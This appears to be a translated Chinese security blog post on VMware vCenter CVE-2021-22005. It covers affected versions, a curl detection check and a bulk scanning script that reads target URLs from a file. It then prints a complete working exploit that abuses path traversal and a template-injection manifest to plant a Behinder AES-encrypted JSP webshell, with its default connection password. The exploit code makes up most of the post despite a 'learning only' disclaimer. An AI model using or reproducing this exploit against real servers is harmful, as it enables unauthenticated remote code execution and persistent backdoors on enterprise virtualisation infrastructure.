catalogue
Statement: do not use for illegal intrusion, only for detection and learning! Portal - > Network security law of the people's Republic of China
Vulnerability description
On September 21, 2021, VMware issued a security announcement, publicly disclosing 19 security vulnerabilities in vCenter Server. The CVSSv3 score range of these vulnerabilities is 4.3-9.8.
Among them, the most serious vulnerability is the arbitrary file upload vulnerability in vCenter Server (CVE-2021-22005), which exists in the analysis service of vCenter Server, and its CVSSv3 score is 9.8. An attacker with network access to port 443 on the vCenter Server can remotely execute code on the vCenter Server by uploading malicious files. The vulnerability can be exploited remotely without authentication, with low attack complexity and no user interaction.
According to Shodan's search results, thousands of vCenter servers can be accessed and attacked through the Internet. It has been detected that the attacker is scanning and attacking the vulnerable VMware vCenter Server.
Impact version
- VMware vCenter Server 7.0
- VMware vCenter Server 6.7
- Note: CVE-2021-22005 will affect all vCenter Server 6.7 and 7.0 deployments configured by default, and will not affect vCenter Server 6.5. Please refer to the official announcement of VMware for the impact scope of the other 18 vulnerabilities.
Vulnerability detection poc
We can perform more relevant cURL requests for the / analytics / telecommunications / pH / API / level endpoint to identify whether your server is affected
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
- If the server responds with 200/OK and anything other than "OFF" in the response body (such as "FULL"), it is vulnerable to attack.
- If it responds with 200/OK and "OFF" body content, it is likely that it is not vulnerable, and it has not been patched and no workaround has been applied.
- If it responds with 400/Bad Request, patch it. This check takes advantage of the fact that the patched instance will check the collector ID (_c) against the list of known / accepted collector IDs.
- If it responds with 404, it is either not applicable or a solution has been applied. This workaround disables the affected API endpoints.
- Any other status codes may imply that they are not applicable.
Build POC as follows
#author: Xiaoyuan meow import requests from requests.packages import urllib3 urllib3.disable_warnings() headers={ 'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36' } params = ( ('_c', 'test'), ) for i in open('loophole url Where.txt','r'): if 'https' in i: i = i.strip('\r\n') url = i + "/analytics/telemetry/ph/api/level" try: r = requests.get(url=url,headers=headers,params=params,verify=False,timeout=10) code = r.status_code if code == 200: text = r.text if text: if "OFF" not in text: print(f"\033[0;31m{url}\033[0m Possible vulnerabilities") with open('vul.text','a',encoding='utf-8') as f: f.write(i+"\r") else: print(f"{i} There are no vulnerabilities") except: pass else: pass
Vulnerability EXP
Usage: CVE-2021-22005_poc.py - t https://ip address
import requests import random import string import sys import time import requests import urllib3 import argparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) def escape(_str): _str = _str.replace("&", "&") _str = _str.replace("<", "<") _str = _str.replace(">", ">") _str = _str.replace("\"", """) return _str def str_to_escaped_unicode(arg_str): escaped_str = '' for s in arg_str: val = ord(s) esc_uni = "\\u{:04x}".format(val) escaped_str += esc_uni return escaped_str def createAgent(target, agent_name, log_param): url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param) headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close" } json_data = { "manifestSpec":{}, "objectType": "a2", "collectionTriggerDataNeeded": True, "deploymentDataNeeded":True, "resultNeeded": True, "signalCollectionCompleted":True, "localManifestPath": "a7", "localPayloadPath": "a8", "localObfuscationMapPath": "a9" } requests.post(url, headers=headers, json=json_data, verify=False) def generate_manifest(webshell_location, webshell): manifestData = """<manifest recommendedPageSize="500"> <request> <query name="vir:VCenter"> <constraint> <targetType>ServiceInstance</targetType> </constraint> <propertySpec> <propertyNames>content.about.instanceUuid</propertyNames> <propertyNames>content.about.osType</propertyNames> <propertyNames>content.about.build</propertyNames> <propertyNames>content.about.version</propertyNames> </propertySpec> </query> </request> <cdfMapping> <indepedentResultsMapping> <resultSetMappings> <entry> <key>vir:VCenter</key> <value> <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping"> <resourceItemToJsonLdMapping> <forType>ServiceInstance</forType> <mappingCode><![CDATA[ #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))## #set($orig_log = $appender.getFile())## #set($logger = $GLOBAL-logger.logger.parent)## $appender.setFile("%s")## $appender.activateOptions()## $logger.warn("%s")## $appender.setFile($orig_log)## $appender.activateOptions()##]]> </mappingCode> </resourceItemToJsonLdMapping> </value> </value> </entry> </resultSetMappings> </indepedentResultsMapping> </cdfMapping> <requestSchedules> <schedule interval="1h"> <queries> <query>vir:VCenter</query> </queries> </schedule> </requestSchedules> </manifest>""" % (webshell_location, webshell) return manifestData def arg(): parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help = "Target", required = True) args = parser.parse_args() target = args.target print("[*] Target: %s" % target) return target def exec(): target = arg() # Variables webshell_param = id_generator(6) log_param = id_generator(6) agent_name = id_generator(6) shell_name = "Server.jsp" webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>""" webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name webshell = str_to_escaped_unicode(webshell) manifestData = generate_manifest(webshell_location,webshell) print("[*] Creating Agent") createAgent(target, agent_name, log_param) url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param) headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"} json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"} requests.post(url, headers=headers, json=json_data, verify=False) #webshell connection address url = "%s/idm/..;/%s" % (target, shell_name) code = requests.get(url=url, headers=headers,verify=False).status_code if code != "404": print("webshell address: %s" % url) print("[*]Ice scorpion 3.0 Webshell Connection password: rebeyond" ) else: print("Not obtained webshell address") if __name__ == '__main__': exec()